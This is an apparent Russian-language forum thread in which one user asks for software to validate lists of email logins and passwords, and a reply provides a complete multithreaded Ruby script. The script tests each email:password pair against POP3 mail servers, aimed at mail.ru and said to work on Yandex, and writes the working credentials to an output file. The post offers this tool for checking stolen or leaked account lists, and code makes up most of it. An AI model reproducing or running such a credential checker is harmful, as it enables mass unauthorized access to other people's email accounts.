Мне нужна программка, которая будет проверять правильны ли логин пароль, т.е. я пишу лист лог пасс, а она после проверка выдаёт те, которые подошли. Я не знаю есть ли она вообще, и как называется, но если есть, то дайте пож-та, или хотябы название этого софта.
Писал на ruby под /\/\аil.ru, но под яндеx тоже должно работать если там pop3 включен. <infile> - фаил с мыло:пароль <threads count> - кол-во потоков <divider> - разделитель между мылом и паролем, по умолчанию пробел <outfile> - выходной фаил, по умолчанию <infile>_suc Code: #!/usr/bin/ruby require "net/pop" require 'mathn' if ARGV.size<2 or ARGV.size>4 puts "<infile> <threads count> [<divider> <outfile>]" puts "Default divider is space ' '" puts "Default outfile is str(infile)+'_suc'" exit end $infile=ARGV[0] $th_count=ARGV[1].to_i case ARGV.size when 3: $divider=ARGV[2] when 4: $divider=ARGV[2] $outfile=ARGV[3] else $divider=' ' $outfile=$infile+'_suc' end starttime=Time.now.to_i puts "#{Time.now} START #{$infile}/#{$th_count}/#{$divider}/#{$outfile}" def sec2dhms(secs) time=secs.round.to_i days=(time/86400).to_i time-=days*86400 hrs=(time/3600).to_i time-=hrs*3600 mins=(time/60).to_i time-=mins*60 return "#{days}D #{hrs}H #{mins}M #{time}S" end def try_auth(mail,pop_serv,pass) begin Net::POP3.auth_only(pop_serv, 110,mail, pass) rescue => e return 0 end return 1 end def auth(mail,pass) pop_serv="pop."+mail.split("@")[1] return try_auth(mail,pop_serv,pass) end $inf=File.open($infile,"r") $good_count=0 $all_count=0 while !$inf.eof do while Thread.list.size>$th_count do sleep(1) end th=Thread.new do str=$inf.gets mail,pass=str.split($divider) #STDOUT.flush res="#{Time.now.strftime("%H:%M:%S")} #{mail}/#{pass.chop!}" #STDOUT.flush if auth(mail,pass)==1 res+=" SUCCESS" suc=File.open($outfile,'a') suc.puts "#{mail}:#{pass}" $good_count+=1 suc.close else res+=" ============FAIL==========" end $all_count+=1 puts res end end $inf.close while Thread.list.size>1 do sleep(1) end puts "#{Time.now} SUCCESSED #{$good_count}/#{$all_count} <-> #{$good_count.to_f/$all_count*100} % valid <-> #{sec2dhms(Time.now.to_i-starttime)}"